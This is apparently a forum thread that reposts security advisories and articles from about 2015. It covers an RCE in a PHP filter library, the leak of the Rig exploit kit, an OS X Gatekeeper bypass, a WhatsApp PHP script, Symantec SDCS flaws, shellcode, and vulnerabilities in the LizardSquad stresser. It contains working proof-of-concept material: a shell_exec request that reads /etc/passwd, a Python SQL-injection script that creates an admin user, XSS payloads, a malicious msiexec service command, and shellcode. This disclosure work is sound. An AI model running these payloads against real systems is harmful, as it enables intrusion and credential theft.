$args[$a])) { array_push($conversion_args, $args[$a]['value']); } } // execute user function and assign return value to filter value try { $a_values[$i] = call_user_func_array($function_name, $conversion_args); } catch(Exception $e) { $this->last_error = array( 'element_rule_id' => $element_rule_id, 'error_message' => $e->getMessage() ); break; } } } [...] The provided PHP parsing library allows to specify a PHP function to convert the supplied filter value on the server side. This leads ultimatively to code execution through attacker supplied input. As no whitelist approach is used, any existing PHP function could be executed (including shell commands). Proof of Concept ================ Using the demo application from the git repository: Executing shell_exec('cat /etc/passwd') Request: POST /ajax_create_sql.dist.php HTTP/1.0 host: http://www.example.com X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded Content-Length: 471 a_rules%5B0%5D%5Bfilter_value_conversion_server_side%5D%5Bfunction_name%5D=she ll_exec&a_rules%5B0%5D%5Bcondition%5D%5BfilterValue%5D=&a_rules%5B0%5D%5Bfilte r_value_conversion_server_side%5D%5Bargs%5D%5B0%5D%5Bvalue%5D=cat+%2Fetc%2Fpas swd&pst_placeholder=question_mark&a_rules%5B0%5D%5Belement_rule_id%5D=foo&use_ ps=yes&a_rules%5B0%5D%5Bcondition%5D%5Bfield%5D=some_field&a_rules%5B0%5D%5Bco ndition%5D%5Boperator%5D=equal&a_rules%5B0%5D%5Bcondition%5D%5BfilterType%5D=d ate Response: HTTP/1.1 200 OK Date: Tue, 13 Jan 2015 02:12:33 GMT Server: Apache/2.2.22 (Debian) Content-Length: 530 Content-Type: text/html {"sql":"WHERE \nsome_field = ?","bind_params":"root:x:0:0:admin COSMOS:/root:/ bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/bin/sh\nbin:x:2:2:bin:/bin:/bin/sh\ns ys:x:3:3:sys:/dev:/bin/sh\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:ga mes:/usr/games:/bin/sh\nman:x:6:12:man:/var/cache/man:/bin/sh\nlp:x:7:7:lp:/va r/spool/lpd:/bin/sh\nmail:x:8:8:mail:/var/mail:/bin/sh\nnews:x:9:9:news:/var/s pool/news:/bin/sh\nuucp:x:10:10:uucp:/var/spool/uucp:/bin/sh\nproxy:x:13:13:pr oxy:/bin:/bin/sh\nwww-data:x:33:33:www-data:/var/www:/bin/sh"} Solution ======== This functionality should generally be removed or replaced by a mapping/ whitelist approach and strict type filtering to prevent arbitrary code execution. Affected Versions ================= >= git commit b1e795eeba1bac2f9b0d383cd3da24d6d26ccb4b < 1.0.6 (commit 0b61463cd02cc1814046b516242779b29ba7d1e1) Timeline ======== 2015-01-12: Vulnerability found 2015-01-13: Developer informed 2015-02-14: Fixed in version 1.0.6 (git 0b61463cd02cc1814046b516242779b29ba7d1e1) References ========== [1] http://www.pontikis.net/labs/jui_filter_rules [2] https://www.owasp.org/index.php/Code_Injection [3] https://www.ernw.de/download/BC-1501.txt [4] https://bufferoverflow.eu/BC-1501.txt Advisory-ID =========== BC-1501 Disclaimer ========== The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/ distributor be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information. - -- Timo Schmid ERNW GmbH, Carl-Bosch-Str. 4, 69115 Heidelberg - www.ernw.de Tel. +49 6221 48039-0 (HQ) - Fax +49 6221 419008 - Cell +49 151 16227192 PGP-FP 971B D4F7 5DD1 FCED 11FC 2C61 7AB6 927D 6F26 6CE0 Handelsregister Mannheim: HRB 337135 Geschaeftsfuehrer: Enno Rey ============================================================== || Blog: www.insinuator.net | | Conference: www.troopers.de || ============================================================== ================== TROOPERS15 ================== * International IT Security Conference & Workshops * 16th - 20st March 2015 / Heidelberg, Germany * www.troopers.de ==================================================== -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iQEcBAEBAwAGBQJU5KMNAAoJEHq2kn1vJmzgroMIAIsvJOdkZLSIjp1bdczg7NFP YBcVZNXXd7H2LES/bH20wGHMEke2YfL97CfjBk5R1OpBaialTHHi/HrzqbnWft2x x+u7rOdG0Q+aAAakoBpO7wG1B97+bmXnR6ytgFtxgJO+dfWWwAxhjsqjQ0boRgMr bzhFkHznlUV2s89n6vEBG2qnowSNqJgnWpbkyekCyISF87bh4nfuNDoj40+aCCNa Iw3AO8S2bvgVqY980hovoCsW94764/65mVMr2dvTlQx3tR1zTra2km8yq0IOtdIs AJ8dicIAN0EDuGQKFtLbxkShh4E9spXeQlFRmz1kLa76PELHzJWnyhKUB4o+uds= =tnwW -----END PGP SIGNATURE----- Source
  13. A spitting match between developers of the Rig Exploit Kit and one of its resellers resulted in a partial leak of the kit’s source code in a hacker forum. Rig is less than a year old and is spread primarily in malvertising campaigns, pushing Flash, Java and Microsoft Silverlight exploits; some versions also push ransomware. Experts, however, aren’t sure this will give birth to a rash of campaigns centered on Rig. “I do not think this will be really noticeable,” said French exploit kit researcher Kafeine, who found the leak being advertised on a hacker board. He said the main pushers of Rig do no operate on the same forum. “Following this leak, the crooks might get cold feet and try to stay under the radar to elude law enforcement’s attention,” said a report posted yesterday by researchers at Trustwave SpiderLabs. “As a result we’d expect to see less activity. On the other hand, script kiddies may now use this source code to try and deploy their own infection schemes for quick and easy profit.” A U.K. researcher known as MalwareTech said the leaker is likely a Rig Exploit Kit reseller who tried to scam potential buyers by charging prices 40 percent higher than “official” Rig sellers, as well as asking $3,000 for access to a private forum that did not exist, according to screenshots from his website. “It seems like the RIG owner was less than pleased with the reseller’s antics because the next day, in a conversation with another member, the owner declared that he had suspended the reseller for attempting to scam customers, which isn’t surprising given he was requesting that people pay him $3000 for access to an imaginary private forum,” MalwareTech wrote on his website. No honor among thieves. Undaunted, the reseller took to Twitter creating an account that riffed on researchers from Malware Must Die. In a series of tweets, the reseller said he was in possession of Rig source code and a database dump; he also provided a download link. MalwareTech said the password-protected file was deleted after a couple dozen downloads. He said, however, that he confirmed the leak was legitimate with three other sources. The leak, however, is incomplete and it appears the reseller leaked only files he had access to, Trustwave SpiderLabs said. “In addition to parts of the source code, the contents of the leak included a partial export of the server database,” Trustwave said. Its researchers thus had access to infection stats and saw only about 1,200 since the leak. Sursa
  14. # Exploit Title: OS X Gatekeeper bypass Vulnerability # Date: 01-27-2015 # Exploit Author: Amplia Security Research # Vendor Homepage: www.apple.com # Version: OS X Lion, OS X Mountain Lion, OS X Mavericks, OS X Yosemite # Tested on: OS X Lion, OS X Mountain Lion, OS X Mavericks, OS X Yosemite # CVE : CVE-2014-8826 Advisory URL : http://www.ampliasecurity.com/advisories/os-x-gatekeeper-bypass-vulnerability.html Gatekeeper is a feature available in OS X Lion v10.7.5 and later versions of OS X. Gatekeeper performs checks on files and applications downloaded from the Internet to prevent execution of supposedly malicious and untrusted/unsigned code. Gatekeeper provides three different settings: - Mac App Store (Only apps that came from the Mac App Store can open) - Mac App Store and identified developers (Only apps that came from the Mac App Store and identified developers using Gatekeeper can open) - Anywhere The default setting is "Mac App Store and identified developers". This setting prevents execution of any code that was not downloaded from the Mac App Store and that was not digitally signed by a Developer ID registered with Apple. For example, If the user downloads an application from an untrusted source and double-clicks on the application to execute it, OS X Gatekeeper will prevent its execution with the following warning message: "<AppName> can't be opened because it is from an unidentified developer." (For more information on OS X Gatekeeper, see http://support.apple.com/kb/ht5290) We found an attacker can bypass OS X Gatekeeper protections and execute unsigned malicious code downloaded by the user, even if OS X Gatekeeper is configured to only allow execution of applications downloaded from the Mac App Store (the highest security setting). The exploitation technique is trivial and requires Java to be installed on the victim's machine. OS X Gatekeeper prevents execution of downloaded Java Jar (.jar) and class (.class) files, but this verification can be bypassed. For example: - Create a JAR file containing the code to be executed For example, File AmpliaTest.java: public class AmpliaTest { public static void main(String[] args) { try { Runtime.getRuntime().exec("/usr/bin/touch /tmp/AMPLIASECURITY"); } catch(Exception e) { } } } (This is just an example, of course, arbitrary code can be executed) $ javac AmpliaTest.java Be sure to compile the code for a version of Java lower than or equal to the one available on the target (for example, javac -target 1.6 -source 1.6 AmpliaTest.java; and the compiled code will work on Java versions >= 1.6) . $ echo "main-class: AmpliaTest" > Manifest $ jar cmf Manifest UnsignedCode.jar AmpliaTest.class - Create a .DMG disk image For example: $ hdiutil create -size 5m -fs HFS+ -volname AmpliaSecurity AmpliaTest.dmg - Mount AmpliaTest.dmg - Rename UnsignedCode.jar to UnsignedCode (just remove the extension) - Copy UnsignedCode to the AmpliaSecurity volume - Unmount AmpliaTest.dmg - Host the file AmpliaTest.dmg on a web server - Download AmpliaTest.dmg using Safari and open it - Double-Click on 'UnsignedCode' and the code will be executed bypassing OS X Gatekeeper checks (the code creates the file /tmp/AMPLIASECURITY). (Perform the same steps but without removing the .jar extension to UnsignedCode.jar and OS X Gatekeeper will prevent execution of the Jar file) Because the file 'UnsignedCode' has no extension, Finder will display a blank page icon; the Java/JAR icon will not be displayed. The user does not know he is double-clicking on a JAR file and the file does not look particularly suspicious. Also, since the unsigned code is distributed inside a disk image (.DMG) file, there are many things the attacker can do to gain the trust of the user (include other files, use Finder background images, etc). Source
  15. PHP Script to send and receive messages on WhatsApp I have been reading many tutorials for sending and receiving WhatsApp Messages via PHP but there is not a single Article Which explains properly with Steps that How To retrieve Your WhatsApp password Which is created and Stored when you create a WhatsApp Account on the WhatsApp Server which is the main Challenge as of now in other Articles. Thanks To this tool Which has Made 50% of the work Easy. https://github.com/shirioko/WART Okay So we will Quickly go through the Steps for WhatsApp Registration Tool : Go To the link https://github.com/shirioko/WART Download The Whole project by Clicking Clone to Desktop Run the WART-1.7.3.0 Exe File WART Enter Phone Number with Country Code (e.g. India Number : 91xxxxxxxxxx) P.s. Do not put any Special Symbol like (+91) for India Click on Request Code and You will Receive a Code from WhatsApp on the Entered Mobile Number. Now Verify that Code in 2nd Step and That’s it . You are here . Your password will Appear. P.s. Do not Share your password with Anyone Because it Can be used in loop for any Kind of messages. okay Now we are done with 50% of the task . Now we need to write the php Script Which will Send Messages to WhatsApp Registered Number. You will need 2 things for Sending Messages to WhatsApp through PHP : Username (WHICH IS YOUR MOBILE NUMBER WITH COUNTRY CODE) : 91xxxxxxxxxxx Password (Which You got From The WART.EXE TOOL Alright Sparky Lets Get this Done….. <?php require_once ‘./src/whatsprot.class.php’; $username = “919xxxxxxxxx”; //Mobile Phone prefixed with country code so for india it will be 91xxxxxxxx $password = “your password”; $w = new WhatsProt($username, 0, “Mayank Grover Blog”, true); //Name your application by replacing “WhatsApp Messaging” $w->connect(); $w->loginWithPassword($password); $target = ’91xxxxxxxxxxx’; //Target Phone,reciever phone $message = ‘Hello User !! This is a Tutorial for sending messages via php to WhatsApp Account’; $w->SendPresenceSubscription($target); //Let us first send presence to user $w->sendMessage($target,$message ); // Send Message echo “Message Sent Successfully”; ?> So Everything is Quite Clear in the above Script i.e. You need to set your Application Details Username as Mobile Number password Which you got from WART Tool Target as your Target Mobile Number and Lastly The message(Plain Text Which you need to send). Okay Now I know many Questions are Coming in your mind. In first line Require src/whatsprot.class.php What is This. ??? You Need to Download the WhatsApi from this Link . There You Will find the src directory with all the source files. Can we only Send Plain Text messages Or media like Images and Videos??? Yes we can send media file Also. So Next I will be writing php script to send Media file To any WhatsApp Account. SOURCE
  16. SEC Consult Vulnerability Lab Security Advisory < 20150122-0 > ======================================================================= title: Multiple critical vulnerabilities products: Symantec Data Center Security: Server Advanced (SDCS:SA) Symantec Critical System Protection (SCSP) vulnerable version: see: Vulnerable / tested versions fixed version: SCSP 5.2.9 MP6, SDCS:SA 6.0 MP1 - not all vulnerabilities were fixed, but mitigations exist impact: Critical CVE number: CVE-2014-7289, CVE-2014-9224, CVE-2014-9225, CVE-2014-9226 homepage: http://www.symantec.com found: 2014-09-19 by: Stefan Viehböck SEC Consult Vulnerability Lab https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Symantec Data Center Security: Server Advanced v6.0 (DCS: Server Advanced) extends the Data Center Security: Server solution beyond agentless threat protections by incorporating technologies previous known as Critical System Protection. Data Center Security: Server Advanced provides granular, policy- based controls with a low impact in-guest agent to monitor and protect numerous physical and virtual server environments. Through a combination of technologies including application-centric controls including protected white listing, sandboxing using least privilege access controls, host-based intrusion detection (HIDS) and prevention (HIPS), and real-time file integrity monitoring (FIM), organizations can proactively safeguard their heterogeneous server environments and the information they contain from zero-day and targeted attacks, and fulfill their compliance mandates across critical systems. Click here for more info" Source: http://www.symantec.com/connect/forums/announcing-data-center-security-server-server-advanced-products Business recommendation: ------------------------ Attackers are able to completely compromise the SDCS:SA Server as they can gain access at the system and database level. Furthermore attackers can manage all clients and their policies. SDCS:SA Server can be used as an entry point into the target infrastructure (lateral movement, privilege escalation). Furthermore the SDCS:SA Client protections can be bypassed in several ways. It is highly recommended by SEC Consult not to use this software until a thorough security review (SDCS:SA Server, SDCS:SA Client Policies) has been performed by security professionals and all identified issues have been resolved. Note: SDCS:SA was replaced by SCSP. In this document the name SDCS:SA is used. Vulnerability overview/description: ----------------------------------- 1) Unauthenticated SQL Injection (SDCS:SA Server) (CVE-2014-7289) Due to insufficient input validation, the application allows the injection of direct SQL commands. By exploiting the vulnerability, an attacker gains access (read/write) to all records stored in the database as arbitrary SQL statements can be executed. Furthermore the application design enables an attacker to gain code execution as SYSTEM (highest privilege Windows user) on the server by exploiting this vulnerability. No prior authentication is needed to exploit this vulnerability. Affected script: https://<host>:4443/sis-ui/authenticate 2) Reflected Cross-Site-Scripting (XSS) (SDCS:SA Server) (CVE-2014-9224) The applications suffers from a reflected cross-site scripting vulnerability, which allows an attacker to steal other users' sessions, to impersonate other users and to gain unauthorized access to the admin interface. Affected scripts: https://<host>:8081/webui/Khaki_docs/SSO-Error.jsp https://<host>:8081/webui/admin/WCUnsupportedClass.jsp 3) Information Disclosure (SDCS:SA Server) (CVE-2014-9225) A script discloses internal information about the application on the server without prior authentication. This information includes file paths on the webserver, version information (OS, Java) and is accessible without prior authentication. Affected script: https://<host>:8081/webui/admin/environment.jsp 4) Multiple Default Security Protection Policy Bypasses (SDCS:SA Client) (CVE-2014-9226) Several bypasses were discovered. These require Windows Administrator permissions. This requirement is usually met in SDCS:SA deployments. Note: SEC Consult did not check whether the mitigations provided by Symantec do in fact sufficiently mitigate these vulnerabilities! - Persistent code execution via Windows Services The default Symantec policy rules can be bypassed in order to get persistent arbitrary code execution. - Remote code execution via RPC The default Symantec policy rules can be bypassed in order to get persistent arbitrary code execution. In addition to that "psexec-style" remote code execution via SMB is possible as well. - Policy bypass: Extraction of Windows passwords/hashes The default Symantec policy rules do not prevent attackers from extracting the Windows passwords/password hashes from the System. - Privilege elevation via Windows Installer (msiexec.exe) The restrictions imposed by the default policies can be bypassed entirely by exploiting incorrect assumptions made in the policy regarding the Windows Installer (msiexec.exe). - Privilege elevation/code execution via Windows Management Instrumentation (.mof files) The restrictions imposed by default policies can be bypassed partially by exploiting incorrect assumptions made in the policy regarding the Windows Management Instrumentation. The policy does not take intended OS functionality to execute code into account. Proof of concept: ----------------- 1) Unauthenticated SQL Injection (SDCS:SA Server) (CVE-2014-7289) The servlet accessible via /sis-ui/authenticate (TCP port 4443, HTTPS) is vulnerable to SQL injection. By sending a specially crafted HTTP request, arbitrary SQL statements can be executed. In a proof of concept exploit, SQL statements to add a new SDCS:SA user with admin privileges (username: secconsult, password: PASSWORD123!) were executed. These statements are: INSERT INTO USR (RID, USERNAME, PWD, CONTACT_NAME, PHONES, EMAIL, ALERT_EMAIL, ADDRESS, MANAGER_NAME, BUSINESS_INFO, PREF_LANGUAGE, FLAGS, DESCR, CREATETIME, MODTIME, ENABLED, BUILTIN, HIDDEN, SALT) VALUES (1504, 'secconsult', 'DUjDkNZgv9ys9/Sj/FQwYmP29JBtGy6ZvuZn2kAZxXc=', '', '', '', '', '', '', '', '', NULL, 'SECCONSULT', '2014-09-12 07:13:09', '2014-09-12 07:13:23', '1', '0', '0', 'N1DSNcDdDb89eCIURLriEO2L/RwZXlRuWxyQ5pyGR/tfWt8wIrhSOipth8Fd/KWdsGierOx809rICjqrhiNqPGYTFyZ1Kuq32sNKcH4wxx+AGAUaWCtdII7ZXjOQafDaObASud25867mmEuxIa03cezJ0GC3AnwVNOErhqwTtto='); INSERT INTO ROLEMAP (USERRID, ROLERID) VALUES (1504, 1); The code used to exploit the SQL injection vulnerability is listed below: import httplib def send_request(host,data): params = data headers = {"AppFire-Format-Version": "1.0", "AppFire-Charset": "UTF-16LE", "Content-Type":"application/x-appfire", "User-Agent":"Java/1.7.0_45", } conn = httplib.HTTPSConnection(host) conn.request("POST", "/sis-ui/authenticate", params, headers) response = conn.getresponse() data=response.read() conn.close() return response,data header ="Data-Format=text/plain\nData-Type=properties\nData-Length=%i\n\n" data ="ai=2\r\nha=example.com\r\nun=AAAAAAAAAAAAAA'; INSERT INTO USR (RID, USERNAME, PWD, CONTACT_NAME, PHONES, EMAIL, ALERT_EMAIL, ADDRESS, MANAGER_NAME, BUSINESS_INFO, PREF_LANGUAGE, FLAGS, DESCR, CREATETIME, MODTIME, ENABLED, BUILTIN, HIDDEN, SALT) VALUES (1504, 'secconsult', 'DUjDkNZgv9ys9/Sj/FQwYmP29JBtGy6ZvuZn2kAZxXc=', '', '', '', '', '', '', '', '', NULL, 'SV DESCRIPTION', '2014-09-12 07:13:09', '2014-09-12 07:13:23', '1', '0', '0', 'N1DSNcDdDb89eCIURLriEO2L/RwZXlRuWxyQ5pyGR/tfWt8wIrhSOipth8Fd/KWdsGierOx809rICjqrhiNqPGYTFyZ1Kuq32sNKcH4wxx+AGAUaWCtdII7ZXjOQafDaObASud25867mmEuxIa03cezJ0GC3AnwVNOErhqwTtto='); -- '' " # add user to USR table #data ="ai=2\r\nha=example.com\r\nun=AAAAAAAAAAAAAA'; INSERT INTO ROLEMAP (USERRID, ROLERID) VALUES (1504, 1); -- " # add user to admin group data+="\r\nan=Symantec Data Center Security Server 6.0\r\npwd=GBgYGBgYGBgYGBgYGBgYGBg=\r\nav=6.0.0.380\r\nhn=WIN-3EJQK7U0S3R\r\nsso=\r\n" data = data.encode('utf-16le') eof_flag="\nEOF_FLAG\n" header = header %(len(data)) payload=header+data+eof_flag response,data = send_request("<host>:4443",payload) print data.decode('utf-16le') print response.status As the application users act as Tomcat administrators, an attacker can login into the Tomcat manager as well. The Tomcat manager is available by default via TCP port 8081 HTTPS. The Tomcat Web Application Manager can be used to deploy new .war-files containing attacker-controlled Java code. This allows an attacker to execute arbitrary commands on the operating system with the permissions/user of the "Symantec Data Center Security Server Manager" service (SISManager) which are SYSTEM. 2) Reflected Cross-Site-Scripting (XSS) (SDCS:SA Server) (CVE-2014-9224) At least the following URLs are vulnerable to XSS: https://example.com:8081/webui/Khaki_docs/SSO-Error.jsp?ErrorMsg=<script>alert('xss')</script> https://example.com:8081/webui/admin/WCUnsupportedClass.jsp?classname=<script>alert('xss')</script> 3) Information Disclosure (SDCS:SA Server) (CVE-2014-9225) The following URLs discloses internal information: https://example.com:8081/webui/admin/environment.jsp 4) Multiple Default Security Protection Policy Bypasses (SDCS:SA Client) (CVE-2014-9226) - Persistent code execution via Windows Services Windows Service binaries can have file extensions other than ".exe". This allows an attacker to execute arbitrary files and enables automatic execution of malicious code at OS boot. - Remote code execution via RPC Existing tools like "psexec" or Metasploit (/exploit/windows/smb/psexec) can be modified to write files not ending with ".exe" on the target system. - Policy bypass: Extraction of Windows passwords/hashes The tool "mimikatz" can be used to extract Windows credentials. - Privilege elevation via Windows Installer (msiexec.exe) msiexec.exe is trusted "safe privileges" when started as a service (usually "Windows Installer" parameter "/V"). This can be abused by creating a service that starts msiexec.exe with the parameters "/quiet", "/i" and a path to a valid .msi file. Upon service start the .msi file is executed with "safe privileges" privileges and not subject to any SDCS:SA Client checks. sc create evil_service binpath= "c:\windows\System32\msiexec.exe /quiet /i c:\temp\evil_msi" type= own start= auto error= ignore net start evil_service - Privilege elevation/code execution via Windows Management Instrumentation (.mof files) On old Windows versions .mof files placed in "%SystemRoot%\System32\wbem\mof\" are automatically compiled/executed. These trigger arbitrary code execution. The code is executed with "def_winsvcs_ps" permissions. Vulnerable / tested versions: ----------------------------- The vulnerabilities have been verified to exist in Symantec Data Center Security: Server Advanced version 6.0, which was the most recent version at the time of discovery. However other versions (SCSP 5.2.9) are affected by the vulnerabilities as well. See the vendor information in the Solution section. Vendor contact timeline: ------------------------ 2014-10-20: Sending advisory and proof of concept exploit via encrypted channel. 2014-10-20: Vendor acknowledges receipt of advisory. 2014-11-18: Requesting status update. 2014-11-18: Vendor responds and informs about an advisory in December, version containing fixes in February. 2014-12-04: Vendor informs about delays in releasing fixes/mitigations, target release date mid-January. 2015-01-08: Vendor confirms release date for fixes/mitigations (2015-01-17). 2015-01-17: Vendor releases fixes for SCSP. 2015-01-19: Vendor releases advisory and mitigations for SCSP/ 2015-01-22: SEC Consult releases coordinated security advisory. Solution: --------- Update to the most recent version of SCSP (5.2.9 MP6) or SDCS:SA (6.0 MP1). Not all vulnerabilities are fixed by this update! However, Symantec has provided mitigations for these issues: More information can be found at: http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20150119_00 http://www.symantec.com/business/support/index?page=content&id=TECH227679 http://www.symantec.com/business/support/index?page=content&id=HOWTO100996&actp=search&viewlocale=en_US&searchid=1421349750071 Workaround: ----------- See solution. Advisory URL: ------------- https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Vienna - Bangkok - Frankfurt/Main - Montreal - Singapore - Vilnius - Zurich Headquarter: Mooslackengasse 17, 1190 Vienna, Austria Phone: +43 1 8903043 0 Fax: +43 1 8903043 15 Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult Interested to work with the experts of SEC Consult? Write to career@sec-consult.com EOF Stefan Viehböck / @2015 Source
  17. 1. Simple program that reads /etc/passwd file Shellcode: ( Download Link given in the end ) "\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\ x89\xe3\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x 2f\x65\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x8 0" Now we create a simple programt that will execute this code and Compile it using gcc –fno-stack-protector -z execstack code.c –o shellcode It will compile our code and program should work without any hindrance. Read more: http://dl.packetstormsecurity.net/papers/shellcode/re_shellcode.pdf
  18. In this article we will get an introduction into mobile malware on Android. The main goal is to give you an overview of the tools used and provide you with a starting point for next work.We will use some webservices that provide a good overview of the malware and later specialized tools to understand the details. This sample is a example malware(syssecApp.apk) written for Reverse Engineering Summer School 2013 (Organized by Ruhr University-Bochum). It provides an overview of what Android malware is able to do. It is not linked to a control server, so the data it steals will never leave our phone. However some personal data will be visible in the logs and during our analysis, so we should use an emulator anyway. Basically; 1 – Basics of Android Applications Read more: http://dl.packetstormsecurity.net/papers/attack/intro-android-malware.pdf
  19. Document Title: =============== LizardSquad DDoS Stresser - Multiple Vulnerabilities References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1417 http://magazine.vulnerability-db.com/?q=articles/2015/01/20/lizardsquad-ddos-stresser-multiple-vulnerabilities-revealed-takeover-ddos# Release Date: ============= 2015-01-20 Vulnerability Laboratory ID (VL-ID): ==================================== 1417 Common Vulnerability Scoring System: ==================================== 8.9 Product & Service Introduction: =============================== The product, called Lizard Stresser is a stress tester that might let you see how your own network stands up to DDoS attacks, like the ones that interrupted the gaming networks for several days last week. DDoS attacks basically overload servers with massive amounts of bogus requests. (Copy of the Homepage: https://lizardstresser.su/ ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered multiple vulnerabilities in the official LizardSquad DDoS Stresser online-service web-application. Vulnerability Disclosure Timeline: ================================== 2015-01-20: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== LizardSquad Product: DDoS Stresser - Web Application (Online-Service) 2015 Q1 Exploitation Technique: ======================= Remote Severity Level: =============== High Technical Details & Description: ================================ Multiple web vulnerabilities has been discovered in the official LizardSquad `Stresser DDoS Service` web-application. 1.1 The 1st vulnerability is located in `username` value of the registration module. A user can register a script code as payload to the name values. The ddos web-service of the input on registration uses the wrong conditions to encode and parse. Thus allows to execute the injected script code in the `./ref` module of the service. The request method to inject is POST and the vulnerability is located on the application-side of the ddos stresser service. The main administrators are able to see the user passwords, by watching the logs of an compromised server you see that they can switch by login in through the registered user accounts. This is possible because of plain transfered passwords in the ddos application. The known event can be used to prepare malicious code that executes function in connection with application-side injected script codes. The vulnerable file to inject the code is the register.php file. Another execution of the injected script code occurs in the main dashboard (left sidebar) were the username is getting visible. Vulnerable Module(s): [+] Registration (./ref) Vulnerable Parameter(s): [+] username Affected Module(s): [+] Dashboard (Username in Left Sidebar) 1.2 The 2nd vulnerability is located in the Ticket Title & Ticket Content input fields of the `Tickets` (tickets) module. A fresh registered user account is able to inject own malicious persistent script code to the ticket input fields to exploit a backend administrator account. After an attacker registers and inject own script code to the ticket system he is able to get the ip of the backend users or can compromise the session data of moderators/administrators. The inject occurs in the `./tickets` module. The execution takes place locally in the listed open ticket items of the backend. Remote attackers are also able to access other tickets and stored information by intercepting the session of the add Ticket POST method request. Vulnerable Module(s): [+] Tickets (./tickets) Vulnerable Parameter(s): [+] name (servername) 1.3 The 3rd vulnerability is located in the target server `name` value. The attacker uses the device or servername to send malicious data to the ddos application control panel. A remote attacker can change the server or device name value to a script code payload that executes in the panel (server target list). The service syncs the the device/server name value after the infection but also if the attacker syncs the data manually. In case of usage macOS to attack it is possible to change the servername easily to a malicious script code payload that affects the ddos control panel. Vulnerable Module(s): [+] server list Vulnerable Parameter(s): [+] name (servername) 1.4 The 4th vulnerability is located in the `dasboard > user settings > change password` module. The data in the POST method to change the own account password is send in plain-text. Thus allows remote attackers and network administors to capture compromised accounts. The service can also be observed by man-in-the-middle attacks in the local network. Vulnerable Module(s): [+] dasboard > user settings > change password 1.5 The 5th vulnerability is also located in the `dasboard > user settings > change password` module. The POST method request of the change function in the ddos application can be intercepted by attackers to compromise the service. The remote attacker logs in as user and intercepts the session information by changing to an existing user account. Successul exploitation of the session tampering issues results in account system compromise (administrators/customers). Vulnerable Module(s): [+] dasboard > user settings > change password Vulnerable Parameter(s): [+] id Proof of Concept (PoC): ======================= 1.1 --- PoC Session Logs [POST] (Injection) --- Status: 200[OK] POST http://lizardstresser.su/usercp Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[-1] Mime Type[text/html] Request Header: Host[lizardstresser.su] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer [http://lizardstresser.su/usercp] Cookie[__cfduid=dede840b76815fd52769922600b1e086c1421749609; PHPSESSID=f4i5t8vhqgscb0adhtkqlcvv01] Connection[keep-alive] POST-Daten: cpassword[chaos666] npassword[http%3A%2F %2Flizardstresser.su%2F%3Fr%3Dimgsrcx2020iframesrca20iframe] rpassword[http%3A%2F%2Flizardstresser.su%2F%3Fr%3Dimgsrcx2020iframesrca20iframe] updatePassBtn[Change+Stored+Data%21] Response Header: Date[Tue, 20 Jan 2015 10:29:21 GMT] Content-Type[text/html] Transfer-Encoding[chunked] Connection[keep-alive] Expires[Thu, 19 Nov 1981 08:52:00 GMT] Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0] Pragma[no-cache] Server[cloudflare-nginx] CF-RAY[1aba972a06dd15b3-FRA] Content-Encoding[gzip] - Status: 302[Moved Temporarily] POST https://lizardstresser.su/register.php Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[-1] Mime Type[text/html] Request Header: Host[lizardstresser.su] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[https://lizardstresser.su/register.php] Cookie[__cfduid=dede840b76815fd52769922600b1e086c1421749609; PHPSESSID=f4i5t8vhqgscb0adhtkqlcvv01] Connection[keep-alive] POST-Daten: username[%22%3E%3C%22%3Cimg+src%3D%22x%22%3E%2520%2520%3E%22%3Ciframe+src%3Da%3E%2520%3Ciframe%3E2] password[chaos666] rpassword[chaos666] email[research%40vulnerbaility-lab.com] ref[%2F] checkbox1[1] register[Register] Response Header: Server[cloudflare-nginx] Date[Tue, 20 Jan 2015 11:20:02 GMT] Content-Type[text/html] Expires[Thu, 19 Nov 1981 08:52:00 GMT] Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0] Pragma[no-cache] Location[/purchase] CF-RAY[1abae168238f15b3-FRA] X-Firefox-Spdy[3.1] Reference(s): http://lizardstresser.su/?r=imgsrcx2020iframesrca20iframe https://lizardstresser.su/register.php 1.2 --- PoC Session Logs [POST] (Injection) --- Status: 200[OK] POST http://lizardstresser.su/ajax/addticket.php Load Flags[LOAD_BYPASS_CACHE LOAD_BACKGROUND ] Größe des Inhalts[-1] Mime Type[text/html] Request Header: Host[lizardstresser.su] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0] Accept[*/*] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Content-Type[application/x-www-form-urlencoded; 